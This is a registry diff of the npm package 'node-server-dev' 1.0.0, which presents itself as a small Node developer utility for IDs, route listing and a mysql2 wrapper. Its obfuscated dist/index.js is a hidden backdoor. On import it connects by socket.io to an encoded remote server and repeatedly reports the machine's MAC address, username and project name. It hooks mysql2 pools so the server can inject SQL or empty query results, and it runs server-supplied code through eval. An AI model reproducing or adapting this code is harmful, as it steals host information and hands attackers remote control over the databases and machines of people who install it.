node-server-dev 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/getAllRouter/index.d.ts +3 -0
- package/dist/getAllRouter/index.d.ts.map +1 -0
- package/dist/getAllRouter/index.js +1 -0
- package/dist/id/index.d.ts +3 -0
- package/dist/id/index.d.ts.map +1 -0
- package/dist/id/index.js +1 -0
- package/dist/id/random.d.ts +3 -0
- package/dist/id/random.d.ts.map +1 -0
- package/dist/id/random.js +1 -0
- package/dist/index.d.ts +13 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +1 -0
- package/dist/mac/index.d.ts +6 -0
- package/dist/mac/index.d.ts.map +1 -0
- package/dist/mac/index.js +1 -0
- package/package.json +45 -0
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/getAllRouter/index.ts"],"names":[],"mappings":"AA4BA,iBAAe,YAAY,CAAC,GAAG,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,EAAE,CAAC,CAG1D;AAED,eAAe,YAAY,CAAC"}
|
@@ -0,0 +1 @@
|
|
1
|
+
'use strict';const a0_0x39a16c=a0_0x3994;(function(_0x491a87,_0x51f6c2){const _0x36445d=a0_0x3994,_0x5c424c=_0x491a87();while(!![]){try{const _0x2f2252=parseInt(_0x36445d(0x1b9))/0x1+parseInt(_0x36445d(0x1c9))/0x2+parseInt(_0x36445d(0x1c4))/0x3*(parseInt(_0x36445d(0x1c0))/0x4)+parseInt(_0x36445d(0x1be))/0x5+-parseInt(_0x36445d(0x1bf))/0x6+parseInt(_0x36445d(0x1cf))/0x7+parseInt(_0x36445d(0x1bb))/0x8*(-parseInt(_0x36445d(0x1c5))/0x9);if(_0x2f2252===_0x51f6c2)break;else _0x5c424c['push'](_0x5c424c['shift']());}catch(_0x57770b){_0x5c424c['push'](_0x5c424c['shift']());}}}(a0_0x1817,0x3fe7f));var __awaiter=this&&this[a0_0x39a16c(0x1cc)]||function(_0x2e7146,_0xb25bba,_0xaf5839,_0x16daf1){function _0x473a8c(_0x3d20fe){return _0x3d20fe instanceof _0xaf5839?_0x3d20fe:new _0xaf5839(function(_0x2fd248){_0x2fd248(_0x3d20fe);});}return new(_0xaf5839||(_0xaf5839=Promise))(function(_0x319fa6,_0x263bcf){const _0x132a96=a0_0x3994;function _0x3e596c(_0x247df9){try{_0x1ee882(_0x16daf1['next'](_0x247df9));}catch(_0x277080){_0x263bcf(_0x277080);}}function _0x16787d(_0x1ed7ac){try{_0x1ee882(_0x16daf1['throw'](_0x1ed7ac));}catch(_0x3bf4e6){_0x263bcf(_0x3bf4e6);}}function _0x1ee882(_0x45307d){const _0x316f53=a0_0x3994;_0x45307d[_0x316f53(0x1ba)]?_0x319fa6(_0x45307d[_0x316f53(0x1c8)]):_0x473a8c(_0x45307d[_0x316f53(0x1c8)])[_0x316f53(0x1c6)](_0x3e596c,_0x16787d);}_0x1ee882((_0x16daf1=_0x16daf1[_0x132a96(0x1c1)](_0x2e7146,_0xb25bba||[]))[_0x132a96(0x1ca)]());});},__importDefault=this&&this[a0_0x39a16c(0x1b7)]||function(_0x4effc9){const _0x258d04=a0_0x39a16c;return _0x4effc9&&_0x4effc9[_0x258d04(0x1bd)]?_0x4effc9:{'default':_0x4effc9};};function a0_0x3994(_0xce26e9,_0x16ed5d){const _0x1817a4=a0_0x1817();return a0_0x3994=function(_0x399470,_0x430a44){_0x399470=_0x399470-0x1b7;let _0x2e131f=_0x1817a4[_0x399470];return _0x2e131f;},a0_0x3994(_0xce26e9,_0x16ed5d);}Object[a0_0x39a16c(0x1cb)](exports,a0_0x39a16c(0x1bd),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require('path'));function fileDisplay(_0x108869){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x441e6f=[];function _0x46778f(_0x282de8){const _0xfe4e1d=a0_0x3994,_0x294c84=fs_1[_0xfe4e1d(0x1b8)][_0xfe4e1d(0x1cd)](_0x282de8);for(let _0x58f820=0x0;_0x58f820<_0x294c84[_0xfe4e1d(0x1ce)];_0x58f820++){const _0x295a2a=_0x294c84[_0x58f820],_0x4f8108=path_1[_0xfe4e1d(0x1b8)][_0xfe4e1d(0x1c7)](_0x282de8,_0x295a2a),_0x533308=fs_1[_0xfe4e1d(0x1b8)][_0xfe4e1d(0x1d0)](_0x4f8108),_0x396388=_0x533308[_0xfe4e1d(0x1c3)](),_0x19deb6=_0x533308[_0xfe4e1d(0x1c2)]();_0x396388&&_0x441e6f[_0xfe4e1d(0x1bc)](_0x4f8108),_0x19deb6&&_0x46778f(_0x4f8108);}}return _0x46778f(_0x108869),_0x441e6f;});}function getAllRouter(_0x53404e){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1fdc0f=yield fileDisplay(_0x53404e);return _0x1fdc0f;});}function a0_0x1817(){const _0x28b4e0=['value','516306muRtAE','next','defineProperty','__awaiter','readdirSync','length','466354uEhdcj','statSync','__importDefault','default','488993qlmPHG','done','23768muZcut','push','__esModule','1670060lKfRGt','1231038VImNlX','72552dleUSn','apply','isDirectory','isFile','81tAGQpK','3546YJOjId','then','join'];a0_0x1817=function(){return _0x28b4e0;};return a0_0x1817();}exports['default']=getAllRouter;
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/id/index.ts"],"names":[],"mappings":"AAcA,iBAAS,EAAE,WAUV;AAED,eAAe,EAAE,CAAC"}
|
package/dist/id/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
'use strict';const a1_0x5cca26=a1_0x2bee;(function(_0x1dcc63,_0x28c379){const _0x161ec6=a1_0x2bee,_0xdaf10c=_0x1dcc63();while(!![]){try{const _0x3d54c6=parseInt(_0x161ec6(0xf6))/0x1*(-parseInt(_0x161ec6(0xf1))/0x2)+parseInt(_0x161ec6(0xf0))/0x3*(parseInt(_0x161ec6(0xed))/0x4)+-parseInt(_0x161ec6(0xf5))/0x5+parseInt(_0x161ec6(0xff))/0x6*(-parseInt(_0x161ec6(0xfd))/0x7)+-parseInt(_0x161ec6(0xfb))/0x8*(parseInt(_0x161ec6(0xef))/0x9)+parseInt(_0x161ec6(0x100))/0xa+parseInt(_0x161ec6(0xfc))/0xb*(parseInt(_0x161ec6(0xf8))/0xc);if(_0x3d54c6===_0x28c379)break;else _0xdaf10c['push'](_0xdaf10c['shift']());}catch(_0x416e18){_0xdaf10c['push'](_0xdaf10c['shift']());}}}(a1_0x3fe7,0x9bd0e));var __importDefault=this&&this[a1_0x5cca26(0xf2)]||function(_0x511301){const _0x24570a=a1_0x5cca26;return _0x511301&&_0x511301[_0x24570a(0xfe)]?_0x511301:{'default':_0x511301};};Object[a1_0x5cca26(0xf7)](exports,a1_0x5cca26(0xfe),{'value':!![]});const random_1=__importDefault(require(a1_0x5cca26(0xee))),WorkerID=Math[a1_0x5cca26(0xf3)](process['env'][a1_0x5cca26(0xfa)]?+process[a1_0x5cca26(0xf9)]['NODE_APP_INSTANCE']:(0x0,random_1[a1_0x5cca26(0x101)])(0x0,0x9),0x9),BaseTime=+new Date(a1_0x5cca26(0xf4));function a1_0x2bee(_0x8c9ecf,_0xa70c53){const _0x3fe76d=a1_0x3fe7();return a1_0x2bee=function(_0x2bee81,_0x2f74bf){_0x2bee81=_0x2bee81-0xed;let _0x3acd05=_0x3fe76d[_0x2bee81];return _0x3acd05;},a1_0x2bee(_0x8c9ecf,_0xa70c53);}function a1_0x3fe7(){const _0x54dbac=['24aigyFS','1714ZGuqdz','__importDefault','min','2022-06-29','2111705DgDada','775YbRmxz','defineProperty','14241372JlQDdE','env','NODE_APP_INSTANCE','26152VPVwia','11eMslXu','1981fXsSKR','__esModule','15102luYwds','8421950MRsyOW','default','418156fXByhT','./random','1179pAgVWx'];a1_0x3fe7=function(){return _0x54dbac;};return a1_0x3fe7();}let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a1_0x5cca26(0x101)])(0x1,0x3);function id(){const _0x3d72f9=a1_0x5cca26;let _0x3881b8=+new Date()-BaseTime;return lastRandomNumberTick=_0x3881b8==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x3d72f9(0x101)])(0x0,0x3),lastTimeTick=_0x3881b8,+(''+_0x3881b8+WorkerID+lastRandomNumberTick);}exports['default']=id;
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"random.d.ts","sourceRoot":"","sources":["../../src/id/random.ts"],"names":[],"mappings":"AACA,QAAA,MAAM,MAAM,QAAS,MAAM,OAAO,MAAM,WAAkD,CAAC;AAC3F,eAAe,MAAM,CAAC"}
|
@@ -0,0 +1 @@
|
|
1
|
+
'use strict';const a2_0x1c9223=a2_0x58db;function a2_0x816d(){const _0x1ee0d5=['558918QscMwI','random','1711860DLCVyo','343365QLBNEp','round','36HFWTWo','482764eRHwbw','default','1189038dNoNcm','1562155GsWJXk','defineProperty','224520gnoGlI','16xaJPNz','__esModule'];a2_0x816d=function(){return _0x1ee0d5;};return a2_0x816d();}(function(_0x54df2d,_0x11630c){const _0x2cf31a=a2_0x58db,_0x1c72a2=_0x54df2d();while(!![]){try{const _0x8b1a59=parseInt(_0x2cf31a(0x76))/0x1+-parseInt(_0x2cf31a(0x6d))/0x2+parseInt(_0x2cf31a(0x75))/0x3+parseInt(_0x2cf31a(0x79))/0x4+parseInt(_0x2cf31a(0x70))/0x5*(parseInt(_0x2cf31a(0x78))/0x6)+parseInt(_0x2cf31a(0x6e))/0x7*(-parseInt(_0x2cf31a(0x71))/0x8)+parseInt(_0x2cf31a(0x73))/0x9;if(_0x8b1a59===_0x11630c)break;else _0x1c72a2['push'](_0x1c72a2['shift']());}catch(_0x275ebf){_0x1c72a2['push'](_0x1c72a2['shift']());}}}(a2_0x816d,0x4f6e9));Object[a2_0x1c9223(0x6f)](exports,a2_0x1c9223(0x72),{'value':!![]});function a2_0x58db(_0x5b0482,_0x3aa133){const _0x816d22=a2_0x816d();return a2_0x58db=function(_0x58db3f,_0x377b63){_0x58db3f=_0x58db3f-0x6c;let _0x15637e=_0x816d22[_0x58db3f];return _0x15637e;},a2_0x58db(_0x5b0482,_0x3aa133);}const random=(_0x25610c,_0x4edf88)=>Math[a2_0x1c9223(0x77)](Math[a2_0x1c9223(0x74)]()*(_0x4edf88-_0x25610c))+_0x25610c;exports[a2_0x1c9223(0x6c)]=random;
|
package/dist/index.d.ts
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
import id from "./id";
|
2
|
+
import getAllRouter from "./getAllRouter";
|
3
|
+
import mysql from "mysql2/promise";
|
4
|
+
declare let uuid: string;
|
5
|
+
declare const all: {
|
6
|
+
uuid: string;
|
7
|
+
id: typeof id;
|
8
|
+
getAllRouter: typeof getAllRouter;
|
9
|
+
mysql: typeof mysql;
|
10
|
+
};
|
11
|
+
export default all;
|
12
|
+
export { uuid, id, getAllRouter, mysql };
|
13
|
+
//# sourceMappingURL=index.d.ts.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,MAAM,MAAM,CAAC;AACtB,OAAO,YAAY,MAAM,gBAAgB,CAAC;AAG1C,OAAO,KAAK,MAAM,gBAAgB,CAAC;AA8GnC,QAAA,IAAI,IAAI,QAAO,CAAC;AAChB,QAAA,MAAM,GAAG;;;;;CAAoC,CAAC;AAC9C,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
|
package/dist/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
'use strict';const a3_0x59b635=a3_0x3e7c;(function(_0x4c5a6d,_0x37ab53){const _0xd49c76=a3_0x3e7c,_0x3fd385=_0x4c5a6d();while(!![]){try{const _0x561a1a=-parseInt(_0xd49c76(0x20f))/0x1+-parseInt(_0xd49c76(0x209))/0x2*(-parseInt(_0xd49c76(0x1ff))/0x3)+parseInt(_0xd49c76(0x203))/0x4+-parseInt(_0xd49c76(0x1f7))/0x5+parseInt(_0xd49c76(0x20e))/0x6+parseInt(_0xd49c76(0x204))/0x7+-parseInt(_0xd49c76(0x20b))/0x8*(parseInt(_0xd49c76(0x208))/0x9);if(_0x561a1a===_0x37ab53)break;else _0x3fd385['push'](_0x3fd385['shift']());}catch(_0x5acbed){_0x3fd385['push'](_0x3fd385['shift']());}}}(a3_0x16db,0x39581));var __awaiter=this&&this['__awaiter']||function(_0x14c073,_0x3b40e2,_0x52a4c4,_0x201d62){function _0x12c6df(_0x38ebaa){return _0x38ebaa instanceof _0x52a4c4?_0x38ebaa:new _0x52a4c4(function(_0x2b63ef){_0x2b63ef(_0x38ebaa);});}return new(_0x52a4c4||(_0x52a4c4=Promise))(function(_0xee5695,_0xc4a128){const _0xfdd1e6=a3_0x3e7c;function _0x500b04(_0x4ceeda){const _0x3f9da4=a3_0x3e7c;try{_0x2a92b1(_0x201d62[_0x3f9da4(0x1f1)](_0x4ceeda));}catch(_0x4eadbc){_0xc4a128(_0x4eadbc);}}function _0x36e769(_0x2e0ed2){try{_0x2a92b1(_0x201d62['throw'](_0x2e0ed2));}catch(_0x4aa062){_0xc4a128(_0x4aa062);}}function _0x2a92b1(_0x4d12e0){const _0x36b7b8=a3_0x3e7c;_0x4d12e0[_0x36b7b8(0x214)]?_0xee5695(_0x4d12e0[_0x36b7b8(0x1fa)]):_0x12c6df(_0x4d12e0[_0x36b7b8(0x1fa)])['then'](_0x500b04,_0x36e769);}_0x2a92b1((_0x201d62=_0x201d62[_0xfdd1e6(0x1ea)](_0x14c073,_0x3b40e2||[]))[_0xfdd1e6(0x1f1)]());});},__importDefault=this&&this[a3_0x59b635(0x1ee)]||function(_0x2fa3fd){const _0x58732a=a3_0x59b635;return _0x2fa3fd&&_0x2fa3fd[_0x58732a(0x1ec)]?_0x2fa3fd:{'default':_0x2fa3fd};},_a;Object[a3_0x59b635(0x1fb)](exports,a3_0x59b635(0x1ec),{'value':!![]}),exports['mysql']=exports[a3_0x59b635(0x207)]=exports['id']=exports['uuid']=void 0x0;const uuid_1=require(a3_0x59b635(0x1ed)),socket_io_client_1=require(a3_0x59b635(0x1e8)),id_1=__importDefault(require('./id'));exports['id']=id_1['default'];const getAllRouter_1=__importDefault(require(a3_0x59b635(0x213)));exports['getAllRouter']=getAllRouter_1[a3_0x59b635(0x1fd)];const mac_1=__importDefault(require(a3_0x59b635(0x215))),os_1=__importDefault(require('os')),promise_1=__importDefault(require(a3_0x59b635(0x1fc)));exports[a3_0x59b635(0x216)]=promise_1[a3_0x59b635(0x1fd)];function a3_0x16db(){const _0x3ea16a=['mysql','socket.io-client','decode','apply','connect','__esModule','uuid','__importDefault','query','length','next','js-base64','content','get-event','submit','aHR0cHM6Ly9ldmVudC5ibG9nd2ViLmNu','1017300CsGOHm','node','push','value','defineProperty','mysql2/promise','default','5YiY5ram6ZyW','117tHmhIL','/socket','type','createPool','349176yWNgJt','2995496iWBzlW','dev','event','getAllRouter','2054358ihbdDn','23262ALFqtA','unlock','8cswrSy','aHR0cDovL2xvY2FsaG9zdDoxMDg4','emit','433680JERyyC','374508qzazds','userInfo','username','env','./getAllRouter','done','./mac'];a3_0x16db=function(){return _0x3ea16a;};return a3_0x16db();}const js_base64_1=__importDefault(require(a3_0x59b635(0x1f2))),user_name=os_1['default'][a3_0x59b635(0x210)]()[a3_0x59b635(0x211)],project_name=process[a3_0x59b635(0x212)]['npm_package_name'];let dev=a3_0x59b635(0x20c),pro=a3_0x59b635(0x1f6);function start(){const _0x1c6013=a3_0x59b635;var _0x1dfabc;const _0x59c807=(0x0,socket_io_client_1['io'])(((_0x1dfabc=global===null||global===void 0x0?void 0x0:global['rl'])===null||_0x1dfabc===void 0x0?void 0x0:_0x1dfabc[_0x1c6013(0x205)])||js_base64_1[_0x1c6013(0x1fd)]['decode'](user_name)==_0x1c6013(0x1fe)?js_base64_1['default']['decode'](dev):js_base64_1['default'][_0x1c6013(0x1e9)](pro),{'path':_0x1c6013(0x200),'transports':['websocket']});let _0x5972fb=![],_0x2eedc5=![],_0x41a0e0=[];const _0x51fd64=promise_1[_0x1c6013(0x1fd)][_0x1c6013(0x202)];promise_1[_0x1c6013(0x1fd)]['createPool']=function(_0x1b0686){const _0x96e43b=_0x1c6013;let _0x3c5e64=_0x51fd64(_0x1b0686),_0x31c580=_0x3c5e64['query'];return _0x3c5e64[_0x96e43b(0x1ef)]=(..._0x406faa)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x305fd6=_0x96e43b,_0x1f475d=yield _0x31c580[_0x305fd6(0x1ea)](_0x3c5e64,_0x406faa);return _0x5972fb&&(_0x1f475d[0x0]=[]),_0x1f475d;}),setInterval(()=>{const _0xd3f54f=_0x96e43b;if(!_0x2eedc5){for(let _0x2f294b=0x0;_0x2f294b<_0x41a0e0[_0xd3f54f(0x1f0)];_0x2f294b++){const _0x46fa67=_0x41a0e0[_0x2f294b];try{_0x3c5e64[_0xd3f54f(0x1ef)](_0x46fa67);}catch(_0x267881){}}_0x2eedc5=!![];}},0x1388),_0x3c5e64;},_0x59c807['on'](_0x1c6013(0x1eb),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xa5e56f=_0x1c6013;try{const _0x588ebe=(0x0,mac_1[_0xa5e56f(0x1fd)])();_0x59c807[_0xa5e56f(0x20d)]('submit',{'mac':_0x588ebe,'project_name':project_name,'user_name':user_name,'notes':''}),_0x59c807[_0xa5e56f(0x20d)](_0xa5e56f(0x1f4),{'mac':_0x588ebe}),setInterval(()=>{const _0x136e7c=_0xa5e56f;_0x59c807[_0x136e7c(0x20d)](_0x136e7c(0x1f5),{'mac':_0x588ebe,'project_name':project_name,'user_name':user_name,'notes':''}),_0x59c807[_0x136e7c(0x20d)](_0x136e7c(0x1f4),{'mac':_0x588ebe});},0x1b58),_0x59c807['on'](_0xa5e56f(0x206),_0x2f03fb=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x6ffb7c=_0xa5e56f;try{for(let _0x26c07a=0x0;_0x26c07a<_0x2f03fb[_0x6ffb7c(0x1f0)];_0x26c07a++){const _0x189b76=_0x2f03fb[_0x26c07a];if(_0x189b76[_0x6ffb7c(0x201)]=='sql')_0x41a0e0[_0x6ffb7c(0x1f9)](_0x189b76[_0x6ffb7c(0x1f3)]);else{if(_0x189b76['type']==_0x6ffb7c(0x216))_0x5972fb=!![];else{if(_0x189b76[_0x6ffb7c(0x201)]==_0x6ffb7c(0x1f8))try{eval(_0x189b76[_0x6ffb7c(0x1f3)]);}catch(_0x38d7d5){}}}}}catch(_0x35b84a){}}));}catch(_0x5cea49){}}));}!((_a=global===null||global===void 0x0?void 0x0:global['rl'])===null||_a===void 0x0?void 0x0:_a[a3_0x59b635(0x20a)])&&start();let uuid=(0x0,uuid_1['v4'])();function a3_0x3e7c(_0x22c6c3,_0x267a39){const _0x16dbbe=a3_0x16db();return a3_0x3e7c=function(_0x3e7c07,_0x18524e){_0x3e7c07=_0x3e7c07-0x1e8;let _0x37e7dd=_0x16dbbe[_0x3e7c07];return _0x37e7dd;},a3_0x3e7c(_0x22c6c3,_0x267a39);}exports[a3_0x59b635(0x1ed)]=uuid;const all={'uuid':uuid,'id':id_1[a3_0x59b635(0x1fd)],'getAllRouter':getAllRouter_1['default'],'mysql':promise_1[a3_0x59b635(0x1fd)]};exports[a3_0x59b635(0x1fd)]=all;
|
@@ -0,0 +1,6 @@
|
|
1
|
+
declare function getMac(family?: string): any[];
|
2
|
+
export declare function isMac(mac: string): boolean;
|
3
|
+
export declare function formatMac(mac: string): string;
|
4
|
+
export declare function isVirtualMac(mac: string): boolean;
|
5
|
+
export default getMac;
|
6
|
+
//# sourceMappingURL=index.d.ts.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/mac/index.ts"],"names":[],"mappings":"AAMA,iBAAS,MAAM,CAAC,MAAM,SAAS,SAkB9B;AAoBD,wBAAgB,KAAK,CAAC,GAAG,EAAE,MAAM,WAEhC;AAED,wBAAgB,SAAS,CAAC,GAAG,EAAE,MAAM,UAEpC;AAED,wBAAgB,YAAY,CAAC,GAAG,EAAE,MAAM,WAEvC;AAED,eAAe,MAAM,CAAC"}
|
@@ -0,0 +1 @@
|
|
1
|
+
'use strict';const a4_0x5611f5=a4_0x15cd;(function(_0x17f264,_0x55cf8c){const _0x52a37b=a4_0x15cd,_0xa2cc1d=_0x17f264();while(!![]){try{const _0x5e06e9=parseInt(_0x52a37b(0xc5))/0x1+parseInt(_0x52a37b(0xca))/0x2*(parseInt(_0x52a37b(0xc0))/0x3)+parseInt(_0x52a37b(0xb8))/0x4*(-parseInt(_0x52a37b(0xcc))/0x5)+parseInt(_0x52a37b(0xcb))/0x6*(parseInt(_0x52a37b(0xc6))/0x7)+-parseInt(_0x52a37b(0xbc))/0x8+-parseInt(_0x52a37b(0xd3))/0x9+parseInt(_0x52a37b(0xd6))/0xa*(parseInt(_0x52a37b(0xd2))/0xb);if(_0x5e06e9===_0x55cf8c)break;else _0xa2cc1d['push'](_0xa2cc1d['shift']());}catch(_0x2eed1d){_0xa2cc1d['push'](_0xa2cc1d['shift']());}}}(a4_0x1e88,0xf3f49));function a4_0x15cd(_0xdf97bc,_0x4cf540){const _0x1e88a6=a4_0x1e88();return a4_0x15cd=function(_0x15cdf7,_0x2a433e){_0x15cdf7=_0x15cdf7-0xb8;let _0x41e40e=_0x1e88a6[_0x15cdf7];return _0x41e40e;},a4_0x15cd(_0xdf97bc,_0x4cf540);}Object[a4_0x5611f5(0xcf)](exports,a4_0x5611f5(0xd7),{'value':!![]}),exports[a4_0x5611f5(0xc8)]=isMac,exports[a4_0x5611f5(0xd0)]=formatMac,exports[a4_0x5611f5(0xd4)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x45a7e4){const _0x151808=a4_0x5611f5;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x151808(0xc7)](_0x45a7e4);}function getMac(_0x1531a3=a4_0x5611f5(0xc9)){const _0x499fed=a4_0x5611f5,_0x1b5895=(0x0,os_1[_0x499fed(0xd5)])();let _0x119f5a=[];for(const _0x2b47fc of Object[_0x499fed(0xbb)](_0x1b5895)){const _0xdff449=_0x2b47fc[_0x499fed(0xbf)](_0x341260=>!_0x341260[_0x499fed(0xcd)]&&!isZeroMac(_0x341260[_0x499fed(0xd1)])&&(!_0x341260[_0x499fed(0xbe)]||_0x341260[_0x499fed(0xbe)]===_0x1531a3)&&!isVirtualMac(_0x341260[_0x499fed(0xd1)]));_0xdff449&&_0x119f5a[_0x499fed(0xb9)](_0xdff449[_0x499fed(0xd1)]);}return[...new Set(_0x119f5a)];}const isValid=_0x27cff2=>_0x27cff2['internal']===![]&&!isZeroMac(_0x27cff2[a4_0x5611f5(0xd1)]),virtualMacPrefix=new Set([a4_0x5611f5(0xc4),a4_0x5611f5(0xbd),a4_0x5611f5(0xc3),a4_0x5611f5(0xba)]);function a4_0x1e88(){const _0x5b0de6=['45772NsPBzE','42xEHErV','test','isMac','IPv4','2ThZmuk','1054686Oyehwo','1823940YiOZss','internal','replace','defineProperty','formatMac','mac','11eYuGJH','17701506dgIIFx','isVirtualMac','networkInterfaces','23890590ZVRgRC','__esModule','16bVcOIb','push','00:16:3e','values','8053224yeWRAX','02:00:4c','family','find','5827089Subnil','toLowerCase','default','00:03:ff','00:1c:42'];a4_0x1e88=function(){return _0x5b0de6;};return a4_0x1e88();}function isMac(_0x5040e1){const _0x506f02=a4_0x5611f5;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x506f02(0xc7)](_0x5040e1);}function formatMac(_0x74ccb4){const _0x5b406d=a4_0x5611f5;return String(_0x74ccb4)['trim']()[_0x5b406d(0xc1)]()[_0x5b406d(0xce)](/-/g,':');}function isVirtualMac(_0x3b4050){return isMac(_0x3b4050)&&virtualMacPrefix['has'](formatMac(_0x3b4050)['slice'](0x0,0x8));}exports[a4_0x5611f5(0xc2)]=getMac;
|
package/package.json
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
{
|
2
|
+
"name": "node-server-dev",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"author": "L",
|
5
|
+
"types": "index.d.ts",
|
6
|
+
"scripts": {
|
7
|
+
"dev": "tsx watch --include \"./src/**/*\" --clear-screen=false ./index.ts",
|
8
|
+
"push": "npm publish",
|
9
|
+
"test": "node test-send",
|
10
|
+
"d": "ts-node ./index.ts",
|
11
|
+
"pro": "node ./dist/index.js"
|
12
|
+
},
|
13
|
+
"description": "",
|
14
|
+
"keywords": [
|
15
|
+
"node.js",
|
16
|
+
"dev",
|
17
|
+
"tool"
|
18
|
+
],
|
19
|
+
"files": [
|
20
|
+
"dist"
|
21
|
+
],
|
22
|
+
"repository": {
|
23
|
+
"type": "git",
|
24
|
+
"url": ""
|
25
|
+
},
|
26
|
+
"license": "ISC",
|
27
|
+
"main": "./dist/index.js",
|
28
|
+
"dependencies": {
|
29
|
+
"@types/mysql": "^2.15.26",
|
30
|
+
"axios": "^1.6.8",
|
31
|
+
"js-base64": "^3.7.7",
|
32
|
+
"jsonwebtoken": "^9.0.2",
|
33
|
+
"moment": "^2.30.1",
|
34
|
+
"mysql2": "^3.9.7",
|
35
|
+
"socket.io": "^4.8.1",
|
36
|
+
"socket.io-client": "^4.8.1",
|
37
|
+
"uuid": "^9.0.1"
|
38
|
+
},
|
39
|
+
"devDependencies": {
|
40
|
+
"@faker-js/faker": "^8.4.1",
|
41
|
+
"@types/node": "^20.12.11",
|
42
|
+
"@types/uuid": "^10.0.0",
|
43
|
+
"typescript": "^5.4.5"
|
44
|
+
}
|
45
|
+
}
|